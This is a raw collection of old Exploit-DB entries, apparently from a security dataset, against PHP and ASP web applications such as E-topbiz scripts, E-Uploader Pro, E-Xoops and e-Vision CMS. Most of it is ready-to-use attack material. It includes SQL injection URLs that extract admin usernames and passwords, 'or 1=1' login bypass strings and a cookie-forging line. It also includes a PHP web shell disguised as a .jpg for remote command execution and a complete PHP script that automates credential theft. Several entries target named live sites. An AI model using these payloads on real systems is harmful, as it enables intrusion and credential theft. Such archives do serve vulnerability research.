deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6184
Description: E-topbiz Dating 3 PHP Script - 'mail_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: Corwin

Exploit:
================================================================================
|| Dating 3 PHP Script SQL-INJECTION
================================================================================

Application: E-topbiz Dating 3 PHP Script
------------

Version: 1.0
--------

Website: http://e-topbiz.com/oprema/pages/dating3.php
--------

Demo: http://e-topbiz.com/trafficdemos/dating3
-----

Version: 3.0
--------

About: Dating 3 is a very powerful top quality dating php script for webmasters who wish to run an online dating site.
------

Date: 01-08-2008
-----

[ VULNERABLE CODE ]

members/mail.php

@Line:

  142:     if($action==inbox) { 
  143:     $result=mysql_query("select * from mail where UserTo ='$username' ORDER BY SentDate DESC") or die ("cant do it"); 


  150:     if($action==veiw) { 
  151:     $result=mysql_query("select * from mail where UserTo='$username' and mail_id=$mail_id") or die ("cant do it"); 



===>>> Exploit:

Must be authenticated as a regular user.

http://host/members/mail.php?action=veiw&mail_id=-1 union select 1,2,3,concat(username,0x3a,password),5,6,7 from admin/*



Author: Corwin
-------                                     
	
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2008-08-01]
Exploit-DB #11638
Description: E-topbiz Link ADS 1 PHP script - 'linkid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-05
Author: JosS

Exploit:
# E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability
# url: http://e-topbiz.com/oprema/pages/linkads1.php
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://hack0wn.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers!

proof of concept:
GET /out.php?linkid=50+and+1=1 (true)
GET /out.php?linkid=50+and+1=2 (false)

exploit :
GET /out.php?linkid=50+and+substring(@@version,1,1)=4
GET /out.php?linkid=50+and+substring(@@version,1,1)=5


# _h0_
Exploit-DB #7156
Description: E-topbiz Link Back Checker 1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-18
Author: x0r

Exploit:
-=================================================-
Autore: x0r
Bug: Insecure Cookie Handling
Cms: E-TopBiz Link Back Checker 1
-================================================-

Exploit:

javascript:document.cookie="auth=admin; path=/";

Live Demo:
http://e-topbiz.com/trafficdemos/linkback1/admincontrol/login.php

Greetz: Grazie alla persona che mi ha cambiato la vita, amore sto parlando
dite, sei il mio angelo custode ti amo troppo 8\10\08 PER SEMPRE.

EoF

# milw0rm.com [2008-11-18]
Exploit-DB #7050
Description: E-topbiz Number Links 1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: Hussin X

Exploit:
e-topbiz Number Links 1 php  ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://e-topbiz.com/oprema/pages/numberlinks1.php

_____

ExploiT & Demo
______________

http://e-topbiz.com/trafficdemos/numberlinks1/admin/admin_catalog.php?action=edit&id=-2+union+select+concat(user

(),0x3e,version()),2,3,4,5--







____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-07]
Exploit-DB #7048
Description: E-topbiz Online Store 1 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: Stack

Exploit:
> > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*

# milw0rm.com [2008-11-07]
Exploit-DB #7041
Description: E-topbiz Online Store 1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-07
Author: ZoRLu

Exploit:
E-topbiz Online Store 1 (Auth Bypass) SQL Injection Vulnerability

author: ZoRLu  msn: trt-turk@hotmail.com

Home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : (   ( bIktIm a.q )

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


for demo: 

http://e-topbiz.com/trafficdemos/store1/admin/login.php

username: admin ' or ' 1=1--

password: ZoRLu


thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-07]
Exploit-DB #10832
Description: e-topbiz Slide Popups 1 PHP - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-30
Author: Hussin X

Exploit:
e-topbiz Slide Popups 1 php (Auth Bypass) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com<http://www.IQ-TY.com>

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://e-topbiz.com/oprema/pages/slidepop1.php

_____

ExploiT
_______

admin ' or ' 1=1

# login....


IQ-SecuritY FoRuM
Exploit-DB #5929
Description: E-topbiz ViralDX 2.07 - 'bannerid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-24
Author: Hussin X

Exploit:
#########################################################
#
#   Viral DX 1  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://e-topbiz.com/
#     
#    Demo : http://e-topbiz.com/trafficdemos/viraldx1/  
#    
#
##########################################################

Exploit:   

http://www.site.com/Script/adclick.php?bannerid=-1+union+select+concat_ws

(0x3a,login,pass)+from+pass--



L!VE DEMO:

http://e-topbiz.com/trafficdemos/viraldx1/adclick.php?bannerid=-

1+union+select+concat_ws(0x3a,login,pass)+from+pass--


LoGiN :

/admin/login.php

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      
#                                                                              #
#################################(and All IRAQIs)###############################

# milw0rm.com [2008-06-24]
Exploit-DB #2556
Description: E-Uploader Pro 1.0 - Image Upload / Code Execution
Type: webapps
Platform: php
Date: 2006-10-14
Author: Kacper

Exploit:
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- E-Uploader Pro <= 1.0 Remote Code Execution Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: E-Uploader Pro 1.0
- [Script site: http://www.scriptsfrenzy.com/euploader.html
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

devilteam.jpg source: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland:)";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>

Name:*: devilteam
Email:* devilteam@hackers.pl
File:* upload evil devilteam.jpg ;]

Click: Upload

then....

[devilteam.jpg] uploaded


Your upload has been successful!


....

	Uploader Name
	devilteam639
	
Now insert:

http://strona.pl/uploader/include/config.php?language=../../root/devilteam639/devilteam.jpg?cmd=ls -la

echo Hacker_Kacper_Made_in_Poland:)

E-Uploader Pro Game Over ;]

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-10-14]
Exploit-DB #6596
Description: E-Uploader Pro 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-27
Author: ~!Dok_tOR!~

Exploit:
E-Uploader Pro <= 1.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 26.08.08
Product: E-Uploader Pro
Version: 1.0
Price: $49
URL: www.scriptsfrenzy.com
Download script: http://rapidshare.com/files/18285945/E-UploaderPro.PHP.NULL-DGT_license.zip
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/browser.php?view='+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7+from+users/*

Exploit 2:

http://localhost/[installdir]/browser.php?view='+union+select+1,concat_ws(0x3a,admin_user,admin_pass),3,4,5,6,7+from+settings/*

Adminka:

http://localhost/[installdir]/admin.php


http://localhost/[installdir]/img.php?id='+union+select+1,2,user()/*
http://localhost/[installdir]/file.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/mail.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/thumb.php?id='+union+select+1,2,user()/*
http://localhost/[installdir]/zip.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/zipit.php?id='+union+select+1,2,3,4,5,6,7/*

# milw0rm.com [2008-09-27]
Exploit-DB #30738
Description: E-Vendejo 0.2 - 'Articles.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-05
Author: r00t

Exploit:
source: https://www.securityfocus.com/bid/26330/info

E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E-Vendejo 0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/*
Exploit-DB #2418
Description: e-Vision CMS 2.0 - 'all_users.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-22
Author: HACKERS PAL

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* e-Vision CMS Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/* e-Vision CMS Remote sql injection exploit  */
/*    by HACKERS PAL <security@soqor.net>     */
/*        site: http://www.soqor.net          */');
if ($argc<2) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/evision
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/admin/all_users.php?from=-1%20union%20select%20null,null,null,username,null%20from%20users%20where%20idusers=1/*";
$exploit2="/admin/all_users.php?from=-1%20union%20select%20null,null,null,pass,null%20from%20users%20where%20idusers=1/*";

Function get_page($url)
{

	if(function_exists("file_get_contents"))
	{

		$contents = file_get_contents($url);

	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}


	}
	return $contents;
}

function get($var)
{
	if(strlen($var[1])>0)
	{
		Echo trim($var[1]);
	}
}

$page = get_page($url.$exploit);
$page2 = get_page($url.$exploit2);

if(preg_match('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is',$page))
{
	Echo "\n[+] User Name : ";
	preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page);
	Echo "\n[+] Pass Word : ";
	preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page2);
	Die("\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
}

Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
?>

# milw0rm.com [2006-09-22]
Exploit-DB #12583
Description: e-webtech - 'fixed_page.asp' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-12
Author: FL0RiX

Exploit:
####################################################
    e-webtech (fixed_page.asp) SQL Injection Vulnerability 
####################################################
# Author   : Fl0riX 
# 
# Name     : e-webtech
# 
# Bug Type   : SQL Injection 
# 
# Infection    : Admin login bilgileri alinabilir. 
# 
# Demo Vuln : 
# 
# http://[site]/fixed_page.asp?id=[SQL Inj.]
#
# User Exploit:null+union+all+select+1,username+from+adminpassword
# Password Exploit:null+union+all+select+1,pw+from+adminpassword
####################################################
Exploit-DB #12547
Description: e-webtech - 'new.asp?id=' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-10
Author: protocol

Exploit:
************************************************************
** (new.asp?id=) SQL Injection Vulnerability
************************************************************
** Home: http://www.dz4all.com/cc | http://www.h4ckforu.com/vb
** Risk: high
** Title: (new.asp?id=) SQL Injection Vulnerability
** Dork: "Powerd by www.e-webtech.com"
************************************************************
** Discovred by: protocol
** From : algeria
** Contact : pre@live.fr
** *********************************************************
** Greet to :
** All Members of http://www.dz4all.com/cc | http://www.h4ckforu.com/vb
** And My ViRuS_Ra3cH & kondamne & komandos & yasMouh & N2N
************************************************************
** Exploit:
**
** http://localhost.com/new.asp?id=1+union+select+0+from+adminpassword
**
**
** Column: username | password & pw
**
**
** Control Panel: http://localhost.com/controlpanel/login.asp
**
** Example:
**
**
** http://server/news.asp?id=412+union+select+1,2,username,pw,5,6,7,8,9,10,11+from+adminpassword
**
**
************************************************************
Exploit-DB #9217
Description: E-Xoopport 3.1 Module MyAnnonces - 'lid' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-20
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Remote SQL Injection Vulnerability
 Software : MyAnnonces Module for E-Xoopport 3.1
 Vendor   : http://www.e-xoopport.it/
 
 Date     : 17 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]

 [-] Demo

     http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*
     http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.LuvNova.info
     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, Janroe, c0li.m0de.0n and Behave oR BeGone !!!

 ================================================================================================

# milw0rm.com [2009-07-20]
Exploit-DB #30862
Description: E-Xoops 1.0.5/1.0.8 - '/adresses/ratefile.php?lid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
 
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/e-xoops/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30875
Description: E-Xoops 1.0.5/1.0.8 - '/modules/arcade/index.php?gid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
      
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
      
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
http://www.example.com/e-xoops/modules/arcade/index.php?act=show_stats&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 
http://www.example.com/e-xoops/modules/arcade/index.php?act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30874
Description: E-Xoops 1.0.5/1.0.8 - '/modules/banners/click.php?bid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
     
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
     
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
http://www.example.com/e-xoops/modules/banners/click.php?bid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30873
Description: E-Xoops 1.0.5/1.0.8 - '/myalbum/ratephoto.php?lid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
    
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
    
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/e-xoops/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30863
Description: E-Xoops 1.0.5/1.0.8 - '/mydownloads/ratefile.php?lid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
  
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/e-xoops/modules/mydownloads/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30861
Description: E-Xoops 1.0.5/1.0.8 - '/mylinks/ratelink.php?lid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info

E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/e-xoops/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #30864
Description: E-Xoops 1.0.5/1.0.8 - '/mysections/ratefile.php?lid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26796/info
   
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
   
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/e-xoops/modules/mysections/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
Exploit-DB #7315
Description: E.Z. Poll 2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-01
Author: t0fx

Exploit:
Description:
************* ***************** ************* *******************
E.Z. Poll <= v.2 script Remote SQL injection Exploit
discovered by t0fx aka xtof69
vendor : E.Z.


************* ***************** ************* *******************

vulnerable page : http://www.site.com/admin/login.asp

exploit :

Username : 'or' '='
Password : 'or' '='

Add, modify user :
/admin/admin-users.asp 

# milw0rm.com [2008-12-01]